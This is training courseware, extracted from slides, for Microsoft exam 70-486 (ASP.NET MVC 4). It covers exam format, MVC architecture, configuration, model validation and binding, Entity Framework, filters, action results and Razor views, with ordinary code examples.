Microsoft

MCSD: 70-486: Developing

ASP.NET MVC 4 Web
Applications Courseware
Version 1.2

www.firebrandtraining.com

0. 1

Module 0
Introduction
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

0. 2

Exam

70-486 Exam Guide to Ratio of Questions

Design and
implement
security (2025%)

Design the
application
architecture
(15-20%)

Design the
user
experience
(20-25%)

Troubleshoot
and debug web
applications
(20-25%)

Develop the
user interface
(15-20%)

June 2013

155 minutes with 55 questions in total

31 in main section

3 case studies (6, 8, 10 questions)

September 2013

155 minutes with 45 questions in total

22 in main section

3 case studies (6, 7, 10 questions)

Since November 2014

120 minutes with 55 questions in total

33 in main section

3 case studies (6, 6, 10)

Since May 2015

120 minutes in total
49 questions in total
34 in main section
3 case studies (6, 5, 4)
Just as much configuration and
architecture as code

Developing ASP.NET MVC 4 Web Applications

http://www.microsoft.com/learning/en/us/exam.aspx?ID=70-486

Microsoft Exam 70-486 Study Guide

http://www.bloggedbychris.com/2012/11/06/microsoft-exam-70-486-study-guide/

0. 3

Exam

Estimate of Number of Exam Questions per Module

Module

Qs

1+2: Exploring & Designing ASP.NET MVC 4 Web Applications

3: Developing ASP.NET MVC 4 Models

4: Developing ASP.NET MVC 4 Controllers

5: Developing ASP.NET MVC 4 Views

6: Testing and Debugging ASP.NET MVC 4 Web Applications

7: Structuring ASP.NET MVC 4 Web Applications

8: Applying Styles to ASP.NET MVC 4 Web Applications

9: Building Responsive Pages in ASP.NET MVC 4 Web Applications

10: Using JavaScript and jQuery for Responsive MVC 4 Web Apps

11: Controlling Access to ASP.NET MVC 4 Web Applications

12: Building a Resilient ASP.NET MVC 4 Web Application

13: Using Windows Azure Web Services in ASP.NET MVC 4 Web Apps

14: Implementing Web APIs in ASP.NET MVC 4 Web Applications

15: Handling Requests in ASP.NET MVC 4 Web Applications

16: Deploying ASP.NET MVC 4 Web Applications

Total questions in exam

Firebrand Extra Slides

2
55

Exam

0. 4

About the Exam

The 70-486 exam is arguably the hardest because it
could ask a question about almost any technology
Data topics: ADO.NET, Entity Framework, LINQ
Web client topics: JavaScript, jQuery, CSS3, HTML5
Service topics: WCF, Web API
Hosting and web architecture topics: Azure, HTTP, web farms
Miscellaneous topics: Microsoft Excel features
and of course MVC topics, but surprisingly little on this!

0. 5

Suggested Extra Materials

Succinctly Series: The essentials in about 100 pages

For 20486
ASP.NET MVC 4 Mobile
Succinctly
ASP.NET Web API
Succinctly
HTTP Succinctly
JavaScript Succinctly
jQuery Succinctly
Regular Expressions
Succinctly
Twitter Bootstrap
Succinctly

About the Succinctly series

http://www.syncfusion.com/resources/techportal

For Real-World Prototyping/Intranets

ASP.NET Dynamic Data Entities

0. 6
Exam Topic: none

An old technology based on Web Forms for building

intranet front-ends for a database

Add an ADO.NET Entity Data Model for your existing database

In Global.asax, in RegisterRoutes method, uncomment and
modify the statement to register your data context class and
scaffold all tables and import the namespace for converting a
DbContext (EF 4.1+) into the old ObjectContext (EF 4)
DefaultModel.RegisterContext(() =>
using System.Data.Entity.Infrastructure;
{
return ((IObjectContextAdapter)new NorthwindEntities()).ObjectContext;
}, new ContextConfiguration() { ScaffoldAllTables = true });

Run the web application!

1. 1

Module 1
Exploring ASP.NET MVC 4
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

1. 2

New in Visual Studio 2013

One ASP.NET Project

Note: an Azure Web App is the

new name for an Azure Web Site

Announcing the Release of Visual Studio 2013 and

Great Improvements to ASP.NET and Entity Framework
http://weblogs.asp.net/scottgu/announcing-the-release-of-visual-studio-2013-and-great-improvements-to-asp-net-and-entity-framework

New in Visual Studio 2013

1. 3

ASP.NET Scaffold Project Items

New in Visual Studio 2013

1. 4

MVC 5 Controller with views, using EF

Creates a controller with

action methods to:
- Get all shippers
- Get a single shipper for an ID
- Insert a shipper
- Update a shipper
- Delete a shipper

Create views in Views/Shippers

folder:
- Create.cshtml
- Delete.cshtml
- Details.cshtml
- Edit.cshtml
- Index.cshtml (List)

1. 5

MVC Architecture

The Acronym, M.V.C. (or R.C.VM.V.)

Model-View-Control (MVC) is more accurately
Route Controller ViewModel View

Exam Topic: Plan the application layers

Plan data access
Plan for separation of concerns
Appropriate use of models, views, and
controllers

Route(s)
Controller(s)
Model(s)
View(s)

Application_Start event
NuGet packages

In ASP.NET ~ (tilde)
indicates the root of
the web application

Configuration

1. 6

MVC

Architecture and Design Patterns

http://www.contoso.com/blog/edit/16
1
9

Data Repository is a faade

often implemented as a service

RouteTable
2

Controller

GetBlog(int)

Action1
Action
Result

Model

View

Domain Model

GetBlogs()

3
5

ViewBag
ViewData
TempData2

UpdateBlog
(Blog)

partial
classes and
metadata

CSDL
+ .cs

Entity
Data Model
MSL

SSDL

Data Mapper pattern

SQL Server

7
Partial View

1
2

Uses ModelBinder(s) to map incoming parameters

Uses Session state to pass data beyond current request

MVC Architecture

1. 7

Model Terminology
Domain Model
Represents all the data required for an
application and often created using an
ORM such as EF

Model(s)
Represent entities from the domain model

View Model(s)
Represent the data required for a particular View, which could
be sets or parts of entity models and other data too
So a model in MVC is more accurately called a view model

Some programmers use separate folders for models,

view models, and the domain model
By default, ASP.NET MVC expects them all in \Models\

MVC Architecture

1. 8

Conventions and Overriding Action and View Names

http://www.contoso.com/shipper/create/

public class ShipperController : Controller

{
public ActionResult Create()
{
return View();

http://www.contoso.com/shipper/gamma/

public class ShipperController : Controller

{
[ActionName("Gamma")]
public ActionResult Create()
{
return View("Alpha");

Note: to change the controller name convention

you must create a custom controller factory

1. 9

Further Study

ASP.NET MVC
Official Site for ASP.NET MVC
Tutorials, videos, samples, forum, books, open source
ASP.NET MVC
http://asp.net/mvc

Free MVC 4 Video Training from Pluralsight

Pluralsight ASP.NET MVC
http://www.asp.net/mvc/videos/pluralsight-building-applications-with-aspnet-mvc-4

Blogs
Phil Haack
http://haacked.com/

Scott Hanselman
http://www.hanselman.com/

Alternatives to MVC

Single Page Application Template

1. 10
Exam Topic: none

The SPA template creates a sample application that

uses JavaScript, HTML 5, and KnockoutJS on the client,
and ASP.NET Web API on the server
A SPA is a web application that loads
a single HTML page and then updates
the page dynamically, instead of
loading new pages
After the initial page load, the SPA
talks with the server through AJAX
requests
Knockout
http://knockoutjs.com/

Getting started with Single Page Apps

https://borntolearn.mslearn.net/b/weblog/archive/2015/03/17/getting-started-with-single-page-apps

Learn About ASP.NET Single Page Application

http://www.asp.net/single-page-application

2. 1

Module 2
Designing ASP.NET MVC 4
Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

2. 2

Configuration

Web Configuration Hierarchy

Visual Studio
Or Web Site
IIS

\Windows\Microsoft.NET\
Framework64\v4.0.30319\Config

<system.web> <!-- ASP.NET -->

<system.webServer> <!-- IIS -->

IIS 7 or later is at:
\Windows\System32\inetsrv\config\ApplicationHost.config

Securing ASP.NET Configuration

https://msdn.microsoft.com/en-gb/library/ms178699(v=vs.100).aspx

2. 3

Configuration

External Configuration Sources

A section can load settings from an external file
<configuration>
Web.config
<system.web>
<compilation debug="true" />
<pages configSource="Pages.config" />
<globalization culture="auto" />

Pages.config
<pages enableSessionState="false">
<namespaces>

File-access security and permissions can be used to restrict

access to sections of configuration settings
Settings that are not used during application initialization (e.g.
connection strings) can be modified and reloaded without
requiring an application restart by using this attribute
<configSections>
<section name="pages" ... restartOnExternalChanges="false"
allowDefinition="Everywhere|MachineOnly|
MachineToApplication|MachineToWebRoot" />
section Element for configSections (General Settings Schema)
https://msdn.microsoft.com/en-gb/library/ms228245(v=vs.100).aspx

Intrinsic Objects

2. 4

Using the ASP.NET Intrinsic Objects: HttpContext

Application, Cache, Session (dictionaries for storing state beyond
current request, either shared or only for user session)
HttpContext.Application.Clear(); // inside a controller
HttpContext.Current.Application.Clear(); // inside a view

Request (everything sent from the browser e.g. cookies)

Debug.WriteLine(Request.Browser.IsMobileDevice); // inside controller or view

Response (everything sent to the browser e.g. cookies)

TimeStamp, User (information about current request)
Items (dictionary for storing state during current request)
HttpContext.Items["Alpha"] = someData; // inside an HTTP module
var data = HttpContext.Current.Items["Alpha"]; // inside a view

HttpContext Class
http://msdn.microsoft.com/en-us/library/system.web.httpcontext.aspx

Intrinsic Objects

2. 5

Using the ASP.NET Intrinsic Objects

Inside a Controller all the following are directly
available
HttpContext
Items: good for sharing state through pipeline e.g. HTTP
modules and HTTP handlers

Request
HTTP request as sent from the client (request headers, cookies,
client certificate, form and query string parameters, and so on)

Response
HTTP response sent from the server to the client (response
headers, cookies, and so on)

Session (store state for user session)

Intrinsic Objects

2. 6

Using the ASP.NET Intrinsic Objects on HttpContext

Inside a Controller all the following need the
HttpContext prefix
HttpContext.Cache
Shared cache for a Web application

HttpContext.Application
Store shared state at application level

HttpContext.ApplicationInstance
Defines the methods, properties, and events that are common
to all application objects in an ASP.NET application
HttpApplication is the base class for applications that are
defined by the user in the Global.asax file

2. 7

Intrinsic Objects

Server Object
Member

Description

MachineName

Gets the servers computer name

GetLastError()

Returns the previous exception

ClearError()

Clears the previous exception

Execute(path)

Executes the handler for the specified virtual path in the context of the
current request

HtmlDecode(string)

Decodes an HTML-encoded string and returns the decoded string

HtmlEncode(string)

HTML-encodes a string and returns the encoded string

MapPath(path)

Returns the physical file path that corresponds to the specified virtual path

Transfer(path)

For the current request, terminates execution of the current page and
starts execution of a new page by using the specified URL path of the page

HttpServerUtility Class
https://msdn.microsoft.com/en-us/library/system.web.httpserverutility(v=vs.110).aspx

.axd Files

2. 8

What are They?

There are several virtual features of ASP.NET that use
the .axd file extension; they are not real files
WebResource.axd and ScriptResource.axd: load resources such
as JavaScript and JPEGs that have been embedded in
assemblies; an alternative is the newer bundling and
minification feature

Trace.axd: view the trace log for the last n requests; most
useful for Web Forms pages because they show ViewState and
page events

If we dont explicitly warn MVC not to route anything

with .axd in the path then it would call Home.Index
with route data values for resource and pathInfo
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

3. 1

Module 3
Developing ASP.NET MVC 4
Models
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Developing ASP.NET MVC 4 Models

3. 2

Contents
Exam Topic: Design and implement MVC controllers and actions
Implement model binding

Review Firebrands extra slides for MOC 20487

Module 2: Entity Framework
Appendix C: Classic XML and ADO.NET
Appendix D: LINQ

3. 3

MOC Demos
Demo 1: Position 5-3175 and Demo 2: Position 5-6134
Visual Studio 2013: Choose the ASP.NET Web Application and
then the MVC template, NOT Empty template and use the newer
item templates e.g. MVC 5 Controller with views using EF
Visual Studio 2012: Use the Package Manager Console to install
the NuGet package for Entity Framework 5 because the latest
version is incompatible with Visual Studio 2012!

Warning! Use this connection string

<add name="Northwind" providerName="System.Data.SqlClient"
connectionString="data source=(localdb)\v11.0;initial
catalog=Northwind;integrated security=True;" />

Warning! After creating the database initializer you must set it

in the Global.asax file or it wont do anything using System.Data.Entity;
Database.SetInitializer<Models.OperasDB>(new Models.OperasInitializer());

3. 4

MOC Errata
Page 03-8 (position 5, 2677)
The MOC says
[AttributeUsage(AttributeTargets.Field)]

It should have said

[AttributeUsage(AttributeTargets.Field | AttributeTargets.Property)]

Page 03-14 (position 5, 4588)

To define a SqlClient connection string they should use (but
dont have to due to backwards compatibility)
Data Source instead of server
Initial Catalog instead of database
Integrated Security instead of trusted_connection
Persist Security Info instead of PersistSecurityInfo

Entity Framework

3. 5

Old Approaches
Visual Studio 2008 and .NET 3.5 SP1
Database-First with .edmx and Code Generation
Strategy=Default creates .cs files with ObjectContext and
EntityObject-derived classes

Visual Studio 2010 and .NET 4

Database-First or Model-First with .edmx and Code Generation
Strategy=Default creates .cs files with ObjectContext and
EntityObject-derived classes
Or right-click in .edmx, Add Code Generation Item, switches
Code Generation Strategy=None and creates .tt files that
generate either similar .cs files with ObjectContext and
EntityObject-derived classes or .cs files with POCO-style
Code Generation Strategy can be either: Default or None

Entity Framework

3. 6

New Approaches
Visual Studio 2012 and .NET 4.5
Database-First or Model-First with .edmx and Code Generation
Strategy=None and .tt files that generate .cs files with
DbContext and POCO classes that works like Code-First
You can delete the .tt files and switch back to old style of
Code Generation Strategy=Default to support features like
Dynamic Data
Or hand-craft your own Code-First POCO and DbContext classes
with or without database initializers
You do not need an .edmx because the model will be created
at runtime
You can use attributes on POCO classes or the fluent API to
customize the runtime model
Code Generation Strategy: Legacy ObjectContext or T4

3. 7

MVC Models

Name of entry in Shared.resx

Metadata Annotations

[Display(Name = "FirstName",
ResourceType = typeof(Shared)]

System.ComponentModel

[Display(Name = "First Name")]

[ReadOnly(true)]: read-only

[DisplayName("First Name")]: used by labels (deprecateduse

Display because it can be localized*)
[HiddenInput(false)]
public Guid ID { get; set; }

System.Web.Mvc

[HiddenInput]: invisible to user (if false) but posted with form

System.ComponentModel.DataAnnotations
[DisplayFormat(HtmlEncode = false, NullDisplayText = "Unpaid",
DataFormatString = "{0:c}", ConvertEmptyStringToNull = true,
ApplyFormatInEditMode = false)]
public decimal Salary { get; set; }
// will not be included at all
[ScaffoldColumn(false)]
public decimal Salary { get; set; }

*DisplayAttribute.ResourceType Property
http://msdn.microsoft.com/en-us/library/system.componentmodel.dataannotations.displayattribute.resourcetype(v=vs.110).aspx

3. 8

MVC Models

Validation Metadata Annotations

ValidationAttribute is abstract base class
ErrorMessage (non-localized string)

Warning! Regular expressions

will automatically include ^ at
start and $ at end.

ErrorMessageResourceType (e.g. Shared)

ErrorMessageResourceName (e.g. HW)

Derived classes
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
[Range(18, 65)]
[RegularExpression(@"\d+")]

[CreditCard]
New in 4.5

[Required(AllowEmptyStrings = false)]

DataType enumeration
CreditCard

Text

DateTime

Html

Date

MultilineText

Time

EmailAddress

Duration

Password

PhoneNumber

Url

Currency

ImageUrl

[StringLength(14, MinimumLength = 6, ErrorMessageResourceType = "Shared",

ErrorMessageResourceName = "ErrorMessageForPasswordLength")]
public string Password { get; set; }

3. 9

MVC Models

Custom Validation
Two techniques for custom validation
CustomValidationAttribute
Inherit from ValidationAttribute (see next slide)

Create a class with a static method

public class MyValidator {
public static bool CheckPassword(object value) {
return true; // if value is valid

Apply attribute to a property on your model

[CustomValidation(typeof(MyValidator), "CheckPassword",
ErrorMessageResourceType = "Shared",
ErrorMessageResourceName = "ErrorMessageForPassword")]
public string Password { get; set; }

3. 10

MVC Models

Custom Validation
[AttributeUsage(AttributeTargets.Field | AttributeTargets.Property,
AllowMultiple = false)]
public class ValidatePasswordLengthAttribute : ValidationAttribute
{
private int MinimumCharacters { get; set; }
public int MaximumCharacters { get; set; }
public ValidatePasswordLengthAttribute(int minChars = 6) : base()
{ // minChars is optional because it has a default value
MinimumCharacters = minChars;
MaximumCharacters = int.MaxValue; // default can be overridden
}
public override bool IsValid(object value)
{ // IsValid throws exception if not overridden
var s = (value as string);
return ((s != null) && (s.Length >= MinimumCharacters)
&& (s.Length <= MaximumCharacters));
}
}
Constructor parameters can be set unnamed if in order
Public properties can be set in attributes
or out of order if named with param: value (not shown)

with named parameters using =

[ValidatePasswordLength(8, MaximumCharacters = 12)]

public string Password { get; set; }

MVC Models

Generics Not Allowed in Attributes

3. 11
Exam Topic: none

C# does not support generic attributes, e.g., the

following gives a compile error
public sealed class ValidatesAttribute<T> : Attribute
{
}
[Validates<string>]
public static class StringValidation

The CLI spec doesnt mention it and if you use IL directly you
can create a generic attribute
The part of the C# 3 spec that bans it - section 10.1.4 Class
base specification doesnt give any justification
Eric Lippert, Microsoft: no particular reason, except to avoid
complexity in both the language and compiler for a use case
which doesnt add much value
Why does C# forbid generic attribute types?
http://stackoverflow.com/questions/294216/why-does-c-sharp-forbid-generic-attribute-types

MVC Models

3. 12

Using a Partial Class to Apply Metadata

If you auto-generate your model using a tool like an
Entity Data Model then you cannot apply attributes to
the code because you will loose them next time it regenerates so you must use a partial class with the
MetadataType attribute and a nested private class
[MetadataType(typeof(BlogMetadata))]
public partial class Blog
{
private class BlogMetadata
{ // only need to include properties that need attributes
[Required(ErrorMessage = "Title is required")]
public object Title { get; set; }
[Required(ErrorMessage = "Blog is required")]
public object Blog { get; set; }
}
}

MVC Models

3. 13

Model Binders
There are five model binders built-in to ASP.NET MVC
DefaultModelBinder (most commonly used)
HttpPostedFileBaseModelBinder
ByteArrayModelBinder
LinqBinaryModelBinder
CancellationTokenModelBinder

MVC Models

3. 14

DefaultModelBinder
Maps a browser request to a data object
Provides a concrete implementation of a model binder

Maps the following types to a browser request

Primitive types, such as String, Double, Decimal, or DateTime
Model classes, such as Person, Address, or Product

Collections, such as ICollection<T>, IList<T>, or

IDictionary<TKey, TValue>

3. 15

MVC Models

Custom Model Binders

Implement System.Web.Mvc.IModelBinder
public class FullnameModelBinder : IModelBinder
using System.Web.Mvc;
{
public object BindModel(ControllerContext cc, ModelBindingContext mbc)

ControllerContext has an HttpContext property through which

you can access everything about the current request, including
Form and QueryString parameters, and route data values

ModelBindingContext has a ValueProvider which combines the

common places you might want to read a parameter from:
var fullName = mbc.ValueProvider.GetValue("fullname");
dynamic parts = fullName.RawValue.ToString().Split(' ');
string firstName = parts[0];
string lastName = parts[1];
Splitting DateTime - Unit Testing ASP.NET MVC Custom Model Binders
http://www.hanselman.com/blog/SplittingDateTimeUnitTestingASPNETMVCCustomModelBinders.aspx

6 Tips for ASP.NET MVC Model Binding

http://odetocode.com/blogs/scott/archive/2009/04/27/6-tips-for-asp-net-mvc-model-binding.aspx

3. 16

MVC Models

Registering and Applying a Model Binder

In Global.asax
To replace the default model binder
ModelBinders.Binders.DefaultBinder = new FirebrandModelBinder();

To add or insert a new model builder for a specific type before

any existing model binders for that type
ModelBinders.Binders.Add(
typeof(Person), new PersonBinder());

public ActionResult Edit(Person p)

Or in a controller, apply to a specific action argument

public ActionResult Edit(
[ModelBinder(typeof(FirstNameBinder))] string firstName,
[ModelBinder(typeof(AgeBinder))] int age) {
The Features and Foibles of ASP.NET MVC Model Binding
http://msdn.microsoft.com/en-us/magazine/hh781022.aspx

Using ModelBinder attribute vs. ModelBinders.Add()

http://stackoverflow.com/questions/13746472/using-modelbinder-attribute-vs-modelbinders-add

3. 17

MVC Models

Checking Validity of the Model State

Inside an action method, after the model binder has
created instances of all the parameters, you should
check if the data annotations have been complied with
public class Person
{
[Required(ErrorMessage = "A person must have a first name.")]
[StringLength(20, ErrorMessage =
"A person's first name must have at most 20 characters.")]
[RegularExpression(@"[a-zA-Z]+", ErrorMessage =
"A person's first name can only contain letters.")]
public string FirstName { get; set; }

public ActionResult Add(Person p)

{
if(!ModelState.IsValid) {
for (int i = 0; i < ModelState["FirstName"].Errors.Count; i++)
{
var msg = ModelState["FirstName"].Errors[i].ErrorMessage;
What is ModelState.IsValid valid for in ASP.NET MVC in NerdDinner?
http://stackoverflow.com/questions/881281/what-is-modelstate-isvalid-valid-for-in-asp-net-mvc-in-nerddinner

Entity Framework

3. 18

Database Initializers
System.Data.Entity has several initializers
CreateDatabaseIfNotExists<TContext>: will recreate and
optionally re-seed the database only if the database doesnt
exist
DropCreateDatabaseAlways<TContext>: will always recreate
and optionally re-seed the database the first time that a
context is used in the app domain
DropCreateDatabaseIfModelChanges<TContext>: will delete,
recreate, and optionally re-seed the database only if the model
has changed since the database was created
MigrateDatabaseToLatestVersion<TContext,
TMigrationsConfiguration>: will use Code First Migrations to
update the database to the latest version
For all, create a derived class and override the Seed method
Database.SetInitializer<TContext> Method
http://msdn.microsoft.com/en-us/library/gg679461(v=vs.113).aspx

Microsoft Azure SQL Database

3. 19

Create the Database

Microsoft Azure SQL Database

3. 20

Wait for Database to be Created

10

Microsoft Azure SQL Database

3. 21

Manage allowed IP addresses

Click ADD TO THE ALLOWED IP ADDRESSES

Microsoft Azure SQL Database

3. 22

Get the Connection String

11

Microsoft Azure SQL Database

3. 23

Manage the Database Structure and Data

12

4. 1

Module 4
Developing ASP.NET MVC 4
Controllers
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Developing ASP.NET MVC 4 Controllers

4. 2

Contents
Exam Topic: Design and implement MVC controllers and actions
Implement action behaviors
Implement action results
New in MVC 5: Apply authentication filters
New in MVC 5: Specify an override filter
Exam Topic: Control application behavior by using MVC extensibility points
Implement MVC filters and controller factories

Page 04-4
The MOC says which will return all photos and then take first
Photo firstPhoto = context.Photos.ToList()[0];

It should have said which is much more efficient

Photo firstPhoto = context.Photos.FirstOrDefault();

4. 3

Filters

Types of Filter
Filters are custom attributes that provide a declarative
means to add pre-action and post-action behavior to
controller action methods
There are built-in filters like [Authorize], [AllowAnonymous],
[HandleError], and you can create custom ones

Authorization filters Make security decisions about

whether to execute an action method

Action filters Wrap the action method execution

Result filters Wrap the ActionResult

Exception Filters Execute if there is an unhandled

exception thrown in the action method

Filters

4. 4

Pre-Defined Filters
Some common filters
Base classes to inherit from for custom filters: ActionFilter,
Filter (and implement IActionFilter or IResultFilter)
Exception handling: HandleError
HTTP verbs: AcceptVerbs, HttpDelete, HttpGet, HttpHead,
HttpOptions, HttpPatch, HttpPost, HttpPut

Security: AllowAnonymous, Authorize, RequireHttps,

ValidateAntiForgeryToken, ValidateInput
Model binding: Bind, CustomModelBinder, ModelBinder
Models: AllowHtml, HiddenInput
Misc: AcceptView, ActionName, AsyncTimeout, ChildActionOnly,
NonAction, OutputCache

4. 5

Filters

When Do They Trigger and What Can They Do?

Action filter
OnActionExecuting:
can prevent action
from executing, e.g.,
[OutputCache]
OnActionExecuted:
can change response
before its returned

Result filter
OnResultExecuting:
cannot change
response but can
cancel response

[MyCustomActionFilter]
[MyCustomResultFilter]
public ActionResult Index()
{
// fetch model
return View(model);
}
// response is returned

OnResultExecuted

Filters

4. 6

Controller.OnActionExecuting and OnException

An alternative to action filters is to override methods
in the controller class
They are called for every action method in the controller and
they happen before any filter attributes

Similarly, as an alternative to applying the

[HandleError] filter, you can override the OnException
method in the controller class
protected override void OnException(ExceptionContext filterContext)
{
// filterContext.Controller, filterContext.HttpContext
// filterContext.Exception
// filterContext.ExceptionHandled = true;
base.OnException(filterContext);
Controller.OnActionExecuting Method
http://msdn.microsoft.com/en-us/library/system.web.mvc.controller.onactionexecuting(v=vs.118).aspx

Controller.OnException Method
http://msdn.microsoft.com/en-us/library/system.web.mvc.controller.onexception(v=vs.118).aspx

4. 7

Filters

Implement a Custom Filter

Inherit from ActionFilterAttribute, then override any of
the four methods you want to use
using System.Web.Mvc;
public class MyCustomActionAndResultFilterAttribute : ActionFilterAttribute
{
public override void OnActionExecuting( // before action executes
public override void OnActionExecuted( // after action executes
public override void OnResultExecuting( // before results returned
public override void OnResultExecuted( // after results returned

ActionFilterAttribute already implements

IActionFilter: OnActionExecuting, OnActionExecuted
IResultFilter: OnResultExecuting, OnResultExecuted
ActionFilterAttribute inherits from FilterAttribute

Warning!

[MyCustomActionAndResultFilter]
public ActionResult Index()

Import System.Web.Mvc (MVC)

NOT System.Web.Http.Filters (Web API)

Filters

4. 8

Global Filters
Global filters are useful to apply a filter to all
controllers and their actions
public static void RegisterGlobalFilters(GlobalFilterCollection filters)
{
filters.Add(new HandleErrorAttribute()); // in template already
filters.Add(new AuthorizeAttribute());
// disallow anonymous users
filters.Add(new MyCustomActionAndResultFilterAttribute());
}

Exercise 1: Creating a Global Action Filter

http://msdn.microsoft.com/en-us/vs2010trainingcourse_aspnetmvcglobalanddynamicactionfilters_topic2.aspx

4. 9

Passing Data to a View

ViewBag
ViewData is a dictionary of objects that is derived from
ViewDataDictionary and accessible using strings as keys
ViewData["Message"] = "Hello world!";

ViewBag is a dynamic property that takes advantage of

the new dynamic features in C# 4.0 and later
ViewBag.Message = "Hello world!";

Warning! ViewBag is NOT enumerable so to

use foreach you must use ViewData.

TempData is a dictionary that stores values in Session

(by default*) and persists until the next request
Anything you put into TempData is discarded after the next
request completes, for example, a redirect
What is ViewData, ViewBag and TempData?
http://www.codeproject.com/Articles/476967/WhatplusisplusViewData-2cplusViewBagplusandplusTem

*ASP.NET MVC: Do You Know Where Your TempData Is?

http://www.gregshackles.com/2010/07/asp-net-mvc-do-you-know-where-your-tempdata-is/

4. 10

ActionResult

Derived Types and Helper Methods of Controller

Derived Type

Description

ContentResult

Returns a MIME-defined content type

return Content("Hello world", "text/plain");
return Content("<book>The Hunger Games</book>", "text/xml");

EmptyResult

Returns a null result

FileResult

Returns a binary file return File("penguin.jpg", "image/jpeg");

JavaScriptResult

Returns JavaScript

JsonResult

Returns a serialized Json object

return Json(new { firstName = "Bob", age = 42 }, JsonRequestBehavior.AllowGet);

PartialViewResult

Renders a partial view

RedirectResult,
RedirectToRouteResult

Redirects to another action method

ViewResult

Renders a .cshtml or .aspx view

return PartialView();

return Redirect("products/detail/5");
return View();

MIME Types Complete List

http://www.sitepoint.com/web-foundations/mime-types-complete-list/

Design

4. 11

Renaming Action Methods

You can use ActionName attribute to rename an action
method and affect the URL and view it will use
public class HomeController : Controller
{
//
// GET: /Home/Index
[ActionName("Index")]
public ActionResult SomethingElse()
{
return View();
}

Design

4. 12

Controller Sub Folders

It is good practice to separate MVC controllers from
Web API controllers to make it more obvious they have
different behaviour
Doing this also allows us to have a ShippersController for MVC
and a ShippersController for Web API
namespace MyWebApp.Controllers.Mvc
{
public class ShippersController : Controller
namespace MyWebApp.Controllers.WebApi
{
public class ShippersController : ApiController

4. 13

New in MVC 5

Authentication Filters

using System.Web.Mvc;
using System.Web.Mvc.Filters;

Applied prior to any Authorization filters

To create a custom authentication filter
public class BasicAuthAttribute : ActionFilterAttribute, IAuthenticationFilter

Implement two methods

// executed first and can be used to perform any needed authentication
public void OnAuthentication(AuthenticationContext filterContext)
public void OnAuthenticationChallenge(
AuthenticationChallengeContext filterContext)
{
// restrict access based upon the authenticated user's principal
var user = filterContext.HttpContext.User;
if (user == null || !user.Identity.IsAuthenticated)
{
filterContext.Result = new HttpUnauthorizedResult();

ASP.NET MVC 5 Authentication Filters

http://visualstudiomagazine.com/articles/2013/08/28/asp_net-authentication-filters.aspx

New in MVC 5

4. 14

Overriding Filters
We can exclude a specific action method or controller
from the global filter or controller level filter
OverrideAuthenticationAttribute,
OverrideAuthorizationAttribute, OverrideActionFiltersAttribute,
OverrideResultAttribute, OverrideExceptionAttribute
[Authorize(Users = "Admin")]
public class HomeController : Controller
{
public ActionResult Index() {
ViewBag.Message = "Welcome to ASP.NET MVC!";
return View();
}
[OverrideAuthorization]
public ActionResult About() {
return View();
}

Filter Overrides in ASP.Net MVC 5

http://www.c-sharpcorner.com/UploadFile/ff2f08/filter-overrides-in-Asp-Net-mvc-5/

5. 1

Module 5
Developing ASP.NET MVC 4
Views
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Developing ASP.NET MVC 4 Views

5. 2

Contents
Exam Topic: Compose the UI layout of an application
Implement partials for reuse in different areas of the application
Design and implement pages by using Razor templates (Razor view engine)
Exam Topic: Plan for search engine optimization and accessibility
Use analytical tools to parse HTML
View and evaluate conceptual structure by using plugs-in for browsers
Write semantic markup (HTML5 and ARIA) for accessibility, for example, screen readers

C# Razor Syntax Quick Reference

http://haacked.com/archive/2011/01/06/razor-syntax-quick-reference.aspx

5. 3

MOC Errata
Page 05-32
Task 3: Complete the photo gallery partial view.
6. After the if statement, add a P element, and call the
@Html.DisplayFor helper to render the words Created By:
followed by the value of the item.UserName property.
7. After the UserName display controls, add a P element, and call
the @Html.DisplayFor helper to render the words Created On:
followed by the value of the item.CreatedDate property.
It should say DisplayNameFor

MVC Views

5. 4

Highlighting Razor Code

Tools-Options, Environment-Fonts and Colors
Display items: Razor Code (2012) or HTML Razor Code (2013)
Item background: choose a more visible colour than light grey

MVC Views

5. 5

Multiple View Engines

ASP.NET MVC allows mixing different view
engines so we can have .cshtml (Razor) and
.aspx (Web Forms) side-by-side
To avoid searching all these
possibilities you can create a
custom view engine as shown
in the link below

To remove the ASPX engine

support but leave both C#
and Visual Basic Razor engines
// in Global.asax Application_Start
ViewEngines.Engines.Clear();
ViewEngines.Engines.Add(new RazorViewEngine());

Configure The Views Search Locations in ASP.NET MVC

http://theshravan.net/blog/configure-the-views-search-locations-in-asp-net-mvc/

MVC Views

5. 6

@ and HTML Encoding

Razor automatically HTML encodes any expression
<h1>Hello</h1> &lt;h1&gt;Hello&lt;/h1&gt;

To prevent this behaviour you have two options

Use Html.Raw()
Wrap the expression in an HtmlString or MvcHtmlString
@{
ViewBag.Title = "Index";
ViewBag.Message = "<h1>Hello</h1>";
}
<div>@ViewBag.Message</div>
<div>@(ViewBag.Message)</div>
<div>@Html.Encode(ViewBag.Message)</div>
<div>@Html.Raw(ViewBag.Message)</div>
<div>@(new HtmlString(ViewBag.Message))</div>
<div>@(new MvcHtmlString(ViewBag.Message))</div>

5. 7

MVC Views

What is the Model?

In a strongly-typed view, the Model object will be of
the type specified by @model directive
Which should match the type of object passed to View() helper
@model MvcApp.Models.Blog

@Model.Title

Html helper methods take a lambda which allows you

to declare a local variable name for the Model
Visual Studio uses model for the name by default
